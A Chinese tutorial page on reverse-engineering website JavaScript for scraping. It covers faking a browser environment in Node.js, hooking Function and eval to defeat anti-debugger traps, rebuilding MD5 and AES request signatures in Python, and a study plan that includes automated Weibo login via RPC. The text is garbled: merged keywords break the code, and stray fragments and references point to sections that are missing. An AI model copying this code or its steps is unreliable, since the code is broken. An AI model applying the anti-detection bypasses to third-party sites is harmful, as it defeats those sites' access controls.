// 把加密代码包裹在立即执行函数中,强制this指向window(function(window){// 这里粘贴前端的加密代码functiongenerateSign(data){// 原代码中依赖this.window的逻辑,现在可正常执行return CryptoJS.MD5(data + window.location.host).toString();}// 把函数暴露到全局 window.generateSign = generateSign;})(global.window);// 调用测试 console.log(generateSign("test"));
// 代码开头执行,隐藏Node.js环境特征// 隐藏Node.js特有全局对象delete global.process;delete global.module;delete global.exports;delete global.require;// 补全浏览器环境特征,代码同上 global.window = global;// ... 其余环境补全代码
npm install jsdom,可模拟完整的 DOM 环境;所有 Node.js 执行报错的核心,都是「浏览器与 Node.js 的运行环境差异」,解决优先级:
| 序号 | 核心成因 | 常见形式 |
|---|---|---|
| 1 | 定时器循环执行 debugger | setInterval(() => {debugger}, 100),最常见的形式 |
| 2 | 函数递归执行 debugger | 用 Function 构造器动态生成 debugger 代码,递归执行 |
| 3 | 开发者工具检测触发 debugger | 检测到 DevTools 打开后,才执行 debugger 语句 |
| 4 | 混淆代码中的隐式 debugger | 把 debugger 语句拆分成字符串拼接,用 eval 动态执行 |
debugger关键词,找到所有相关代码。false,按回车;// 在DevTools的Console面板中执行,刷新页面后仍生效需用Overrides功能// 拦截Function构造器生成的debugger代码const originalFunction = Function;Function=function(...args){// 如果代码中包含debugger,返回空函数if(args.join('').includes('debugger')){return()=>{};}// 正常代码执行原逻辑returnoriginalFunction.apply(this, args);};// 拦截eval执行的debuggerconst originalEval = window.eval; window.eval=function(...args){if(args[0].includes('debugger')){return;}returnoriginalEval.apply(this, args);};
Ctrl + F8;false,90% 的场景都能解决;debugger;硬编码的,无法用 Hook 拦截,直接用条件断点即可;无限 debugger 的解决优先级:
false(最快,零代码);| 序号 | 核心成因 | 占比 | |
|---|---|---|---|
| 1 | 签名拼接规则还原错误 | 60% | 拼接顺序、遗漏盐值、大小写错误、空格 / 换行符差异 |
| 2 | 编码格式不一致 | 20% | 前端用 UTF-16 编码,Python 用 UTF-8;Base64 编码的换行 / 补全差异 |
| 3 | 时间戳 / 随机数不一致 | 10% | 时间戳的位数(10 位 / 13 位)、随机数生成规则错误 |
| 4 | 加密算法模式 / 填充错误 | 8% | AES 的 CBC/ECB 模式、PKCS5/PKCS7 填充、IV 值错误 |
| 5 | 前端隐藏的加密逻辑 | 2% | 代码混淆后,有隐藏的字符串替换、二次加密逻辑未还原 |
console.log("原始字符串:", signStr);import hashlib # 前端还原的固定参数 SALT ="my_secret_salt" KEYWORD ="Python逆向" TIMESTAMP ="1761800000000"# 1. 严格和前端一致的拼接规则,顺序不能错# 前端:signStr = SALT + KEYWORD + TIMESTAMP sign_str =f"{SALT}{KEYWORD}{TIMESTAMP}"# 2. 编码格式必须和前端一致,默认UTF-8,特殊情况用UTF-16LE sign_bytes = sign_str.encode("utf-8")# 3. MD5哈希,大小写必须和前端一致(前端通常是小写) md5_result = hashlib.md5(sign_bytes).hexdigest().lower()print(f"拼接字符串:{repr(sign_str)}")print(f"生成的sign:{md5_result}")# 和前端console.log的结果对比,必须完全一致
# 安装依赖:pip install pycryptodomefrom Crypto.Cipher import AES from Crypto.Util.Padding import pad, unpad import base64 # 前端还原的参数,必须完全一致 AES_KEY =b"1234567890abcdef"# 16位密钥,和前端编码一致 AES_IV =b"0123456789abcdef"# 16位IV向量,CBC模式必须 PLAINTEXT ='{"keyword":"Python逆向","page":1}'# 1. 加密逻辑,和前端完全一致# 前端:AES-128-CBC,PKCS7填充,Base64编码 cipher = AES.new(AES_KEY, AES.MODE_CBC, AES_IV)# 填充:PKCS7和PKCS5在AES中完全一致 padded_data = pad(PLAINTEXT.encode("utf-8"), AES.block_size)# 加密 encrypted_bytes = cipher.encrypt(padded_data)# Base64编码,和前端一致 encrypted_str = base64.b64encode(encrypted_bytes).decode("utf-8")print(f"加密结果:{encrypted_str}")# 和前端加密结果对比,必须完全一致
new Date().getTime()是 13 位毫秒级,Python 的time.time()默认是 10 位秒级,必须乘以 1000 转成 13 位字符串;sign 不一致的核心是「前端和 Python 的加密输入、加密过程、输出格式不完全一致」,解决步骤:
完全贴合大纲 14 章内容,可作为 JS 逆向的完整学习手册,实战性极强。
| 章节 | 学习重点 | 需掌握的核心能力 | 实战目标 |
|---|---|---|---|
| 第一章 逆向基础 | JS 逆向的核心原理、前端代码执行流程、逆向的核心目标 | 理解 '前端加密逻辑都能被还原' 的核心逻辑,明确逆向的目标是还原加密参数生成规则 | 能看懂简单的前端加密代码,明确逆向的完整流程 |
| 第二章 浏览器控制台 | Network 面板抓包、Sources 面板断点调试、Console 面板代码执行、Application 面板数据查看 | 熟练使用 DevTools 三大核心面板,能独立抓包、设置断点、调试 JS 代码、查看 Cookie/LocalStorage | 能独立抓包找到目标接口,给 JS 代码设置断点,单步调试查看变量值 |
| 第三章 加密参数定位方法 | XHR 断点定位、关键词搜索定位、Hook 注入定位加密函数 | 掌握 3 种核心的加密函数定位方法,能快速找到接口参数的加密代码位置 | 给任意网站的接口,10 分钟内定位到加密参数的生成函数 |
| 章节 | 学习重点 | 需掌握的核心能力 | 实战目标 |
|---|---|---|---|
| 第四章 常见的压缩和混淆 | 代码压缩原理、javascript-obfuscator 混淆的特征、混淆代码的基础阅读方法 | 能识别混淆代码的类型,看懂简单混淆后的加密逻辑,不被乱码变量名干扰 | 能阅读 javascript-obfuscator 混淆后的代码,找到核心加密逻辑 |
| 第五章 常见的编码和加密 | Base64 编码、MD5 哈希、AES 对称加密、RSA 非对称加密的原理和前端实现 | 能识别 4 种核心加密算法的特征,看懂前端加密代码的算法类型、密钥、模式、填充方式 | 看到前端加密代码,能快速识别算法类型,提取密钥、IV 等核心参数 |
| 第六章 加密参数还原与模拟 | Newrank 榜单、MD5/RSA/AES 加密逆向案例 | 能完整还原加密逻辑,用 Python 复现加密算法,构造合法的接口请求 | 独立完成 Newrank 榜单的 sign 参数逆向,用 Python 实现自动化爬取 |
| 章节 | 学习重点 | 需掌握的核心能力 | 实战目标 |
|---|---|---|---|
| 第七章 浏览器环境补充 | 常被检测的浏览器环境、手动环境补全、JSDOM 环境补全、Selenium/Puppeteer 环境模拟 | 能识别前端代码的环境依赖,手动补全浏览器环境,让前端加密代码在 Node.js 中正常运行 | 把任意网站的前端加密代码,复制到 Node.js 中正常运行,生成加密参数 |
| 第八章 加密方法远程调用(RPC) | RPC 的原理、油猴脚本实现 RPC、浏览器插件 RPC、Puppeteer 远程调用 | 掌握 RPC 远程调用方法,无需还原加密逻辑,直接调用浏览器中的加密函数 | 针对复杂加密网站,用 RPC 实现加密参数的自动生成,完成爬虫开发 |
| 第九章 AST 技术 | AST 的核心原理、babel 全家桶(parser/generator/traverse/types)的使用 | 能把 JS 代码解析成 AST,遍历、修改、还原 AST 节点,生成可读代码 | 能用 AST 技术还原简单的混淆代码,批量修改 JS 代码 |
| 章节 | 学习重点 | 需掌握的核心能力 | 实战目标 |
|---|---|---|---|
| 第十章 常见协议分析 | HTTP/HTTPS 协议结构、WebSocket 协议、接口请求规则、反爬头字段校验 | 能深度分析接口协议,绕过 Referer、User-Agent、Cookie 等反爬校验 | 能分析复杂网站的接口协议,构造完全模拟浏览器的请求 |
| 第十一章 常见反调试 | 无限 debugger 原理与绕过、DevTools 检测、断点检测、内存爆破反调试 | 掌握所有常见反调试的绕过方法,能正常调试有反爬的网站 JS 代码 | 能绕过任意网站的无限 debugger 和 DevTools 检测,正常调试代码 |
| 第十二章 调试工具补充 | 事件断点、全局搜索、黑盒脚本、性能面板、内存面板的进阶用法 | 熟练使用 DevTools 的进阶调试工具,大幅提升逆向效率 | 能用进阶调试技巧,快速定位复杂混淆代码中的加密逻辑 |
| 第十三章 AST 反混淆 | 用 AST 还原混淆代码、字符串解密、控制流还原、变量名重命名、死代码删除 | 能用 AST 技术完整还原 javascript-obfuscator 混淆的代码,生成可读的 JS 代码 | 针对任意 javascript-obfuscator 混淆的代码,用 AST 实现全自动反混淆 |
| 第十四章 逆向爬取实战 | 综合实战案例,覆盖加密、混淆、反调试、环境检测全场景 | 能独立完成复杂网站的全流程逆向,开发稳定的自动化爬虫 | 独立完成 2 个以上复杂网站的逆向爬取,实现 7*24 小时稳定运行 |
| 操作 | 快捷键 / 命令 | 核心作用 |
|---|---|---|
| 打开 DevTools | F12 / Ctrl+Shift+I | 打开开发者工具 |
| 全局搜索 | Ctrl+Shift+F | 全网站 JS 代码搜索关键词 |
| XHR 断点 | Sources→XHR/fetch Breakpoints | 接口请求时断点,定位加密函数 |
| 条件断点 | 右键行号→Add conditional breakpoint | 条件满足时才暂停,绕过无限 debugger |
| 单步跳过 | F10 | 逐行执行,不进入函数内部 |
| 单步进入 | F11 | 逐行执行,进入函数内部 |
| 继续执行 | F8 | 执行到下一个断点 |
| 黑盒脚本 | 右键 JS 文件→Blackbox Script | 调试时跳过该文件,不进入框架代码 |
| Hook 目标 | 代码模板 | 核心作用 |
|---|---|---|
| window.btoa | 见前文第二部分内容 | 拦截 Base64 编码,找到调用位置 |
| XMLHttpRequest.send | 见前文渗透测试部分 | 拦截接口请求,查看加密参数 |
| Function 构造器 | 见前文无限 debugger 绕过 | 拦截动态生成的 debugger 代码 |
| CryptoJS.MD5 | const originalMD5 = CryptoJS.MD5; CryptoJS.MD5 = function(...args){console.log("MD5输入:", args[0]); const res = originalMD5.apply(this, args); console.log("MD5输出:", res.toString()); return res;} | 拦截 MD5 加密,查看输入输出 |
| 库 | 核心 API | 作用 |
|---|---|---|
| @babel/parser | parser.parse(code) | 把 JS 代码解析成 AST 树 |
| @babel/traverse | traverse(ast, {节点类型: 处理函数}) | 遍历 AST 树,访问 / 修改节点 |
| @babel/generator | generator(ast) | 把 AST 树转回 JS 代码 |
| @babel/types | t.stringLiteral("xxx") | 创建 / 校验 AST 节点类型 |
| 算法 | 核心代码 | 对应章节 |
|---|---|---|
| MD5 | hashlib.md5(str.encode("utf-8")).hexdigest().lower() | 第六章 |
| AES-CBC | 见前文异常 3 解决方案 | 第六章 |
| RSA 加密 | from Crypto.PublicKey import RSA; from Crypto.Cipher import PKCS1_v1_5; key = RSA.importKey(public_key); cipher = PKCS1_v1_5.new(key); encrypted = cipher.encrypt(data.encode("utf-8")) | 第六章 |
| Base64 | base64.b64encode(data.encode("utf-8")).decode("utf-8") | 第五章 |
从拿到目标网站到完成爬取 / 渗透,标准化 10 步流程,对应全章节内容,新手可直接照做:
| 案例 | 核心步骤 | 核心代码模板 |
|---|---|---|
| Newrank 榜单 MD5 逆向 | 1. 抓包找到 sign 参数;2. XHR 断点定位 generateSign 函数;3. 还原 MD5 拼接规则;4. Python 复现签名逻辑;5. 开发爬虫 | 见前文第三部分渗透测试案例 |
| 微博登录 RPC 调用 | 1. 抓包找到登录加密参数;2. 定位加密函数;3. 油猴脚本开发 RPC 服务;4. Python 调用 RPC 接口获取加密参数;5. 实现自动登录 | 见前文第八章 RPC 部分代码 |
| javascript-obfuscator AST 反混淆 | 1. 解析混淆代码成 AST;2. 遍历 AST 解密字符串数组;3. 还原控制流扁平化;4. 重命名乱码变量;5. 删除死代码;6. 生成可读代码 | 见前文第十三章 AST 部分代码 |
| AES 数据加密逆向 | 1. 定位 AES 加密函数;2. 提取密钥、IV、模式、填充方式;3. 固定参数验证加密结果;4. Python 复现 AES 加密逻辑;5. 构造加密请求 | 见前文异常 3 解决方案 |
| WASM 加密逆向 | 1. 定位 WASM 文件加载代码;2. 找到 WASM 导出的加密函数;3. 浏览器中调用函数验证逻辑;4. 用 Wasmtime 在 Python 中调用 WASM 函数;5. 实现加密参数生成 | 见前文第十一章 WASM 部分代码 |

微信公众号「极客日志」,在微信中扫描左侧二维码关注。展示文案:极客日志 zeeklog
解析常见 curl 参数并生成 fetch、axios、PHP curl 或 Python requests 示例代码。 在线工具,curl 转代码在线工具,online
将字符串编码和解码为其 Base64 格式表示形式即可。 在线工具,Base64 字符串编码/解码在线工具,online
将字符串、文件或图像转换为其 Base64 表示形式。 在线工具,Base64 文件转换器在线工具,online
将 Markdown(GFM)转为 HTML 片段,浏览器内 marked 解析;与 HTML 转 Markdown 互为补充。 在线工具,Markdown 转 HTML在线工具,online
将 HTML 片段转为 GitHub Flavored Markdown,支持标题、列表、链接、代码块与表格等;浏览器内处理,可链接预填。 在线工具,HTML 转 Markdown在线工具,online
通过删除不必要的空白来缩小和压缩JSON。 在线工具,JSON 压缩在线工具,online